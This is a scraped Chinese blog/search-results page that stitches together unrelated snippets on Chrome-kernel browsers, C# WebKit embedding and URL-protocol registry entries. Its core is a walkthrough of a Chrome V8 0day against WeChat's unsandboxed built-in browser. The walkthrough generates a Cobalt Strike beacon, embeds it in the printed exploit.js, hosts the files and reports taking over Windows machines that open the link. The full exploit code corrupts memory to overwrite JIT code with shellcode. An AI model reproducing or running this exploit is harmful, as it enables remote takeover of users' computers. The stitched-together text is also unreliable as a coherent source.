精华内容
下载资源
问答
  • C# chrome内核浏览器

    2018-02-02 12:03:03
    C# chrome内核浏览器,测试完美,本人环境vs2015,内附有demo
  • Chrome内核 易语言源码
  • webkitChrome内核浏览器易语言源码
  •   微信聊天窗口使用内置浏览器直接访问以下网址,查看内置浏览器使用的Chrome内核版本等信息:   影响版本:Chrome <= 89.0.4389.114。   漏洞利用条件:关闭Chrome浏览器沙盒–no-sandbox,Chrome默认开启...


    漏洞简述

      影响版本:Chrome <= 89.0.4389.114。微信 Windows 版本 小于 3.1.2.141。
    微信更新后的版本:3.2.1.143。3.2.1.151。

      漏洞利用条件:关闭Chrome浏览器沙盒–no-sandbox。
    Chrome默认开启沙盒。微信内置浏览器使用Chrome内核,默认关闭沙盒–no-sandbox。


    局域网复现-拿下

      下载Payload:访问https://github.com/r4j0x00/exploits/tree/master/chrome-0day,下载exploit.html和exploit.js。

      CS服务端:192.168.43.208,ufw关闭防火墙。

      CS客户端:192.168.43.6,ufw关闭防火墙。
      设置监听:在CS里点击Configure Listeners,监听CS服务端的主机地址和9999端口。
      生成Payload:在CS里选择Attack-Packages-Payload Generator,选择设置的监听,输出output选择C#,点击Generate生成payload.cs。打开payload.cs,把大括号{}里的内容复制到exploit.js第五行shellcode的中括号[]中。
      开启Web服务,把exploit.html和exploit.js放置在Web站点中。

      靶机192.168.43.56:Win10专业版,开启防火墙,微信版本信息是3.2.1.112。
      靶机访问192.168.43.6/exploit.html,CS上线,完成复现。

      CS查看上线主机:屏幕捕获和文件路径可以看,有时候加载慢。

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述


    公网复现

    局域网相同配置-无

      下载Payload:访问https://github.com/r4j0x00/exploits/tree/master/chrome-0day,下载exploit.html和exploit.js。

      CS客户端:192.168.43.6,ufw关闭防火墙。
      设置监听:在CS里点击Configure Listeners,监听CS服务端的主机地址和443端口。
      生成Payload:在CS里选择Attack-Packages-Payload Generator,选择设置的监听,输出output选择C#,点击Generate生成payload.cs。打开payload.cs,把大括号{}里的内容复制到exploit.js第五行shellcode的中括号[]中。

      CS服务端:公网服务器。
      开启Web服务,把exploit.html和exploit.js放置在Web站点中。

      靶机192.168.43.56:Win10专业版,开启防火墙,微信版本信息是3.2.1.112。
      靶机访问http://公网服务器ip/exploit.html,无法上线。

    修改配置再次测试-拿下

      C#不能上线,尝试C语言Payload,打开payload.c,将字符\替换成,0。
      靶机访问http://公网服务器ip/exploit.html,等待30秒没有上线。
    重新点击链接,点着点着就上线了。
      CS客户端对靶机选择remove,取消控制。
    靶机再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
    取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
    取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
    取消控制,再次访问,等了5秒后上线成功。
    取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
    取消控制,再次访问,等了5秒后上线成功。
    取消控制,再次访问,等了3分钟没有上线,只好点击刷新,上线成功。

      结论:猜测是因为网络问题,思考在js代码中添加刷新代码解决此问题。(未实践)

      CS查看上线主机:文件路径可以看,可以在beacon里执行代码,只是执行的结果很慢。屏幕捕获,五分钟没有显示出来。

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述


    Exp

      exploit.html文件:

    <script src="exploit.js"></script>
    

      未填充shellcode的脚本文件exploit.js,在第五行添加shellcode:

    ENABLE_LOG = true;
    IN_WORKER = true;
    
    // run calc and hang in a loop
    var shellcode = [];
    
    function print(data) {
    }
    
    var not_optimised_out = 0;
    var target_function = (function (value) {
        if (value == 0xdecaf0) {
            not_optimised_out += 1;
        }
        not_optimised_out += 1;
        not_optimised_out |= 0xff;
        not_optimised_out *= 12;
    });
    
    for (var i = 0; i < 0x10000; ++i) {
        target_function(i);
    }
    
    var g_array;
    var tDerivedNCount = 17 * 87481 - 8;
    var tDerivedNDepth = 19 * 19;
    
    function cb(flag) {
        if (flag == true) {
            return;
        }
        g_array = new Array(0);
        g_array[0] = 0x1dbabe * 2;
        return 'c01db33f';
    }
    
    function gc() {
        for (var i = 0; i < 0x10000; ++i) {
            new String();
        }
    }
    
    function oobAccess() {
        var this_ = this;
        this.buffer = null;
        this.buffer_view = null;
    
        this.page_buffer = null;
        this.page_view = null;
    
        this.prevent_opt = [];
    
        var kSlotOffset = 0x1f;
        var kBackingStoreOffset = 0xf;
    
        class LeakArrayBuffer extends ArrayBuffer {
            constructor() {
                super(0x1000);
                this.slot = this;
            }
        }
    
        this.page_buffer = new LeakArrayBuffer();
        this.page_view = new DataView(this.page_buffer);
    
        new RegExp({ toString: function () { return 'a' } });
        cb(true);
    
        class DerivedBase extends RegExp {
            constructor() {
                // var array = null;
                super(
                    // at this point, the 4-byte allocation for the JSRegExp `this` object
                    // has just happened.
                    {
                        toString: cb
                    }, 'g'
                    // now the runtime JSRegExp constructor is called, corrupting the
                    // JSArray.
                );
    
                // this allocation will now directly follow the FixedArray allocation
                // made for `this.data`, which is where `array.elements` points to.
                this_.buffer = new ArrayBuffer(0x80);
                g_array[8] = this_.page_buffer;
            }
        }
    
        // try{
        var derived_n = eval(`(function derived_n(i) {
            if (i == 0) {
                return DerivedBase;
            }
    
            class DerivedN extends derived_n(i-1) {
                constructor() {
                    super();
                    return;
                    ${"this.a=0;".repeat(tDerivedNCount)}
                }
            }
    
            return DerivedN;
        })`);
    
        gc();
    
        new (derived_n(tDerivedNDepth))();
    
        this.buffer_view = new DataView(this.buffer);
        this.leakPtr = function (obj) {
            this.page_buffer.slot = obj;
            return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
        }
    
        this.setPtr = function (addr) {
            this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
        }
    
        this.read32 = function (addr) {
            this.setPtr(addr);
            return this.page_view.getUint32(0, true, ...this.prevent_opt);
        }
    
        this.write32 = function (addr, value) {
            this.setPtr(addr);
            this.page_view.setUint32(0, value, true, ...this.prevent_opt);
        }
    
        this.write8 = function (addr, value) {
            this.setPtr(addr);
            this.page_view.setUint8(0, value, ...this.prevent_opt);
        }
    
        this.setBytes = function (addr, content) {
            for (var i = 0; i < content.length; i++) {
                this.write8(addr + i, content[i]);
            }
        }
        return this;
    }
    
    function trigger() {
        var oob = oobAccess();
    
        var func_ptr = oob.leakPtr(target_function);
        print('[*] target_function at 0x' + func_ptr.toString(16));
    
        var kCodeInsOffset = 0x1b;
    
        var code_addr = oob.read32(func_ptr + kCodeInsOffset);
        print('[*] code_addr at 0x' + code_addr.toString(16));
    
        oob.setBytes(code_addr, shellcode);
    
        target_function(0);
    }
    
    try{
        print("start running");
        trigger();
    }catch(e){
        print(e);
    }
    

    参考

      《微信(Chrome)漏洞复现与简单分析小结 -贝塔安全实验室》,2021-04-21
    https://mp.weixin.qq.com/s/lua8KhWAyviL1Nzg6NgJNA

      《解决微信0day上线CobaltStike的几个问题 》,2021-04-20
    https://mp.weixin.qq.com/s/1y0egja7bosdrzws0OFKbg

    展开全文
  • 网页制作Webjx文章简介:我们都知道浏览器Apple Safari和Google Chrome,一个是苹果电脑MAC OS系统的浏览器,一个是搜索巨头GOOGLE开发的浏览器,它们都使用了同样的内核webkit,关于webkit我们作如下简介。...
  • 故事背景:最近公司给的任务,在桌面程序中嵌套jsp页面,因为之前都是做web项目,初次接触rcp,研究一下还是可以的,很容易的将jsp页面嵌套进桌面程序中,但是又一个难题来了,此jsp页面只是用于chrome内核浏览器而...

    故事背景:最近公司给的任务,在桌面程序中嵌套jsp页面,因为之前都是做web项目,初次接触rcp,研究一下还是可以的,很容易的将jsp页面嵌套进桌面程序中,但是又一个难题来了,此jsp页面只是用于chrome内核浏览器而我们现在用的rcp默认浏览器内核为IE,这下头都大了,查了好多资料终于搞定,结果代码就几十行,但怎么说事搞定了:
    解决步骤:
    首先解决浏览器内核问题:
    需要 jxbrowser.jar 、 license.jar这两个jar包
    查看一下是需要收费,只能自己破解,刚好在网上看好一篇帖子:《简单破解Java浏览器组件jxbrowser》 :http://www.freebuf.com/articles/web/41112.html
    项目结构,其中JxBrowserDemo.java类的包结构如下图:

    JxBrowserDemo.java

    package com.teamdev.jxbrowser.chromium.demo;
    
    import java.util.logging.Level;
    
    import com.teamdev.jxbrowser.chromium.Browser;
    import com.teamdev.jxbrowser.chromium.LoggerProvider;
    
    public class JxBrowserDemo {
    
        static{
            LoggerProvider.setLevel(Level.OFF);
        }
    
        public static Browser createBrowser(){
            return new Browser();
        }
    }
    

    其次代码:

    package com.taocares.naoms.fims.client.flight.viewpartseat;
    
    import java.awt.BorderLayout;
    
    /**
     * 机坪监管
     * 
     * @author ZY
     * 
     */
    public class AirportRegulation {
        ParameterDto parameterDto = FimsServiceFactory.getService(
                IFimsConfigQueryService.class).getParameterByName("REPORT_URL");
    
        /**
         * @wbp.parser.entryPoint
         */
        @Inject
        public AirportRegulation() {
        }
    
        /**
         * @wbp.parser.entryPoint
         */
        @PostConstruct
        public void postConstruct(Composite parent) {
            Composite composite = new Composite(parent, SWT.EMBEDDED
                    | SWT.NO_BACKGROUND);
            final Frame frame = SWT_AWT.new_Frame(composite);
            SwingUtilities.invokeLater(new Runnable() {
                public void run() {
                    Browser browser = com.teamdev.jxbrowser.chromium.demo.JxBrowserDemo
                            .createBrowser(); 
                    BrowserView view = new BrowserView(browser);
                    frame.add(view, BorderLayout.CENTER);
                    frame.setVisible(true);
                    browser.loadURL(parameterDto.getContent()
                            + "/naoms.rgl.web/view/front/rgl.jsp");
                }
            });
    
        }
    
        /**
         * @wbp.parser.entryPoint
         */
        @Focus
        public void onFocus() {
            // TODO Your code here
        }
    
    }
    展开全文
  • chrome内核浏览器调用本地exe客户端

    千次阅读 2020-08-19 16:17:47
    本方案主要解决chrome浏览器出于安全考虑不能ActiveXObject内置对象调用本地exe的问题,配合windows自定义私有协议的“url protocol handler”方案,解决如下: 编写chrome-call.reg文件,完成后保存编码为unicode...

    本方案主要解决chrome浏览器出于安全考虑不能ActiveXObject内置对象调用本地exe的问题,配合windows自定义私有协议的“url protocol handler”方案,解决如下:

    编写chrome-call.reg文件,完成后保存编码为unicode编码,双击即可注册到注册表,内容如下:

    Windows Registry Editor Version 5.00

    [HKEY_CLASSES_ROOT\pacs-url]

    @="URL:pacs-url Protocol"

    "URL Protocol"=""

    [HKEY_CLASSES_ROOT\pacs-url\DefaultIcon]

    @="E:\\ll\\Product\\pacs\\Jpacs\\deploy\\zjpacsclient\\zjrispacs.exe"

    [HKEY_CLASSES_ROOT\pacs-url\Shell]

    [HKEY_CLASSES_ROOT\pacs-url\Shell\Open]

    [HKEY_CLASSES_ROOT\pacs-url\Shell\Open\command]

    @="E:\\ll\\Product\\pacs\\Jpacs\\deploy\\zjpacsclient\\zjrispacs.exe \"%1\""

    双击后查看注册表:

    编写测试页面test.html,注意此页面需要放置到tomcat等页面容器部署后访问,内容如下:

     

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title></title>
    </head>
    <!--<a href="liexplorer://D:\ppt\1.pps" >ssss</a>-->
    <a href="pacs-url:M445">M445</a>
    <a href="pacs-url:M433">M433</a>
    </html>

    注意:传入的参数值为:“pacs-url:M445”整个字符串,根据需要进行截取处理,如果你使用“pacs-url://M445”的方式传值调用,接收处可能因为//的原因取到的值为“pacs-url:”。

     

    展开全文
  • C#将WebBowser控件替换为Chrome内核

    千次阅读 2016-12-21 19:44:00
     由于最近要做一个浏览器式的软件,其中有不少地方需要使用到jQuery和BootStrap,但是在C#中,默认的WebBrowser控件默认使用的是IE的core,而低版本的IE在JS加载上总是容易有问题,因此,打算使用Chrome内核替换...

    摘要

      由于最近要做一个浏览器式的软件,其中有不少地方需要使用到jQuery和BootStrap,但是在C#中,默认的WebBrowser控件默认使用的是IE的core,而低版本的IE在JS加载上总是容易有问题,因此,打算使用Chrome的内核替换IE。

    准备工作

      首先,你要明白Chrome浏览器的内核不叫Chrome,而是Webkit,因此,我们只要找到Webkit的项目就好了。

      1.下载WebKit的项目bin,网址如下:

      https://sourceforge.net/projects/webkitdotnet/files/WebKit%20.NET%200.x/0.5/WebKit.NET-0.5-bin-cairo.zip/download

      2.下载解压后的目录结构如下:

      

      3.将bin文件夹下的所有(没错!是所有文件复制),并粘贴到项目文件夹下,目标目录是:项目名/bin/Debug/

      

      4.导入Webkitbrowser的dll到你的项目中。在VS2015的操作如下(其他的类推):

       在Solution Explorer下,选中你的项目名,然后右键,选择Add,然后选择Reference,如下图:

      

      5.在弹出的对话框里。选择Browse -> Browse...,然后选择你的:项目名/bin/Debug下之前粘贴的WebKitBrowser.dll导入,结果如下图:

      

    编码阶段

      1.你要做的,首先选择你之前下载的bin目录下的WebKitBrowser.dll,然后复制,如下图:

      

      2.在C#的控件栏中,自己建一个自定义的C#控件栏,例如我的叫WebBrowser,然后在工具栏中粘贴刚才复制的dll,最后效果如下图:

      

      之后你就可以正常使用WebKitBrowser控件了。

      3.大功告成了,通过这个网站可以测试浏览器的内核,网址:http://ie.icoa.cn/

      至于运行代码,如下给出:

    1 private void Form1_Load(object sender, EventArgs e)
    2 {
    3     webKitBrowser1.Navigate("http://ie.icoa.cn/");
    4 }

      下面是配置前和配置后的对比:

      配置前:

      

      配置后:

      

    致谢

      感谢s_p评论中指出的问题,另外如果你想制作Release版而不是Debug的,你存放的目录应该是:项目名/bin/release。

    补充

      感谢园友的指出,WebKitBrowser这个项目目前已经不维护了,随着.Net版本的提升,也很有可能会出现问题,因此推荐另一个比较好用的CefSharp,具体流程和WebKitBrowser基本一致。

      如果有园友想用CefSharp,欢迎查看这篇文章,讲的很详细,来自codeceo:传送门在这里:)

    结语

      其实换个内核并没有那么复杂,勇于尝试,我想你也一定可以的,有疑问欢迎留言!

      

    作者: letcafe

    -------------------------------------------

    个性签名:编程水太深,先会造轮子!

    如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!

    展开全文
  •  由于最近要做一个浏览器式的软件,其中有不少地方需要使用到jQuery和BootStrap,但是在C#中,默认的WebBrowser控件默认使用的是IE的core,而低版本的IE在JS加载上总是容易有问题,因此,打算使用Chrome内核替换...
  • 使用Libcef+Duilib创建自己的Chrome内核浏览器

    万次阅读 热门讨论 2015-09-20 12:43:34
    在windows上快速开发chrome内核网页程序,Libcef是一个很好的选择。最近趁空闲时间,写了一个简单的浏览器,很多功能都没有完善,不知道以后还会不会继续写了,PC端确实是萎了。 1、Libcef 的使...
  • java调用chrome浏览器内核,cef实现,非jxbrowser,非常不错
  • 应用场景更广泛,Firefox插件只能运行在Firefox上,而Chrome除了Chrome浏览器之外,还可以运行在所有webkit内核的国产浏览器,比如360极速浏览器、360安全浏览器、搜狗浏览器、QQ浏览器等等; 除此之外,Firefox...
  • Android 集成Chrome 浏览器内核 Crosswalk

    千次阅读 2020-02-21 15:19:28
    但实际上,由于 Android 的碎片化问题(大量存在不同的 Android 系统版本,并且各个厂商对内置应用进行定制化,有可能用的不是最新的浏览器内核)。这就导致 WebView 在真实环境中对 API 的支持根本无迹可寻,越发...
  • 1 CentOS 7.0 上安装和配置 VNC 服务器 2.1 2.1.1 首先,我们需要一个可用的桌面环境(X-Window),如果没有的话要先安装一个。 注意:以下命令必须以 root 权限运行。要切换到 root ,请在终端下运行“sudo -s”...
  • 使用CobaltStrike工具即可实现远控等一系列操作,CobaltStrike简介及使用教程请看我的另一篇文章:http://blog.tianles.com/71.html 漏洞产生原因: 微信内置浏览器为QQ浏览器,QQ浏览器使用chrome内核且沙箱处于...
  • 微信现在采用的X5内核基于Chrome,我们可以通过Chrome调试微信内置浏览器。 在开始之前,需要准备一台带有Chrome浏览器的电脑,PC和Mac均可,然后需要一部安装有微信的Android手机,以及一条USB数据线,用于USB调试 ...
  • Android出厂自带的浏览器:安卓WebKit浏览器,也成内置浏览器或者默认浏览器。 安卓WebKit不是ChromeChrome浏览器在它的用户代理字符串中有Chrome,但是安卓WebKit浏览器中没有。 最新的安卓WebKit的浏览器版本是...
  • 如果可以嵌入谷歌浏览器内核那就太棒了! 首先博主查了很多资料,实现方式也很多,其中看到了博客园中的一篇文章“基于.net开发chrome核心浏览器【二】”,其中详细介绍了其中的一些资源,如
  • 谷歌chrome浏览器免安装绿色版,解压就能用,独立内核浏览器,比ie好用多了
  • 1、首先咋模拟时,需要用到UA,微信和 QQ 内置浏览器 UA 安卓 QQ 内置浏览器 UA: Mozilla/5.0 (Linux; Android 5.0; SM-N9100 Build/LRX21V) > AppleWebKit/537.36 ... Chrome/37.0.0.0 Mobile Safari...
  • 浏览器内核

    2021-07-13 14:54:12
    主流浏览器 IE,火狐,谷歌, 欧朋浏览器。 主流浏览器内核 ...Chrome内核:blink(基于webkit,是google与opera software共同开发的Opera内核:13年之前采用Presto内核;13年之后采用Blink内核 ...
  • 很多时候,我们需要模拟微信内置浏览器,今天教大家用chrome简单模拟。如图设置:   F12或者右键审查元素进入开发者模式,点击Emulation,然后点击Network,把Spoof user agent改成Other,并把下面的带复制进去,...
  • 浏览器内核(Rendering Engine) ... 现在很多人错误地把webkit叫做chrome内核(即使chrome内核已经是blink了) chrome Chromium/Blink 在Chromium项目中研发Blink渲染引擎(浏览器内核),内置
  • 八大浏览器内核

    2019-08-22 13:15:24
    2、Chrome浏览器内核:统称为Chromium内核或Chrome内核,以前是Webkit内核,现在是Blink内核; 3、Firefox浏览器内核:Gecko内核,俗称Firefox内核; 4、Safari浏览器内核:Webkit内核; 5、Opera浏览器内核:最初是...
  • DELPHI+chrome+替换WebBrowser让你的程序嵌入chrome浏览器,此控件非常方便的让你的程序内置chrome浏览器,解决老webbrowser的各种问题,非常方便。Chrome不挑食,基本上什么系统都可以跑,而且速度那是飞快,所以C/...
  • 但是今天小编发现,新版的 Chrome 开发者工具已经可以便捷地设置 user agent了~~ 2 右键网页空白处,选择菜单最下面那个「审查元素」,召唤出开发者面板(Ctrl+Shift+C也可以) ...
  • 常见浏览器内核

    2019-10-18 21:48:03
    浏览器 内核 备注 IE Trident IE、猎豹安全、360极速浏览器、百度浏览器 ...现在很多人错误地把 webkit 叫做 chrome内核(即使 chrome内核已经是 blink 了)。苹果感觉像被别人抢了媳妇,都哭...
  • 尤其是ios系统,在safari以及微信内置浏览器上。 聪明的你肯定能想到如下代码: var audio = document.getElementById("audioID"); audio.play(); 发现不行后思索一番,决定加一个定时器延时执行。一定是audio没...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,519
精华内容 3,007
关键字:

内置chrome内核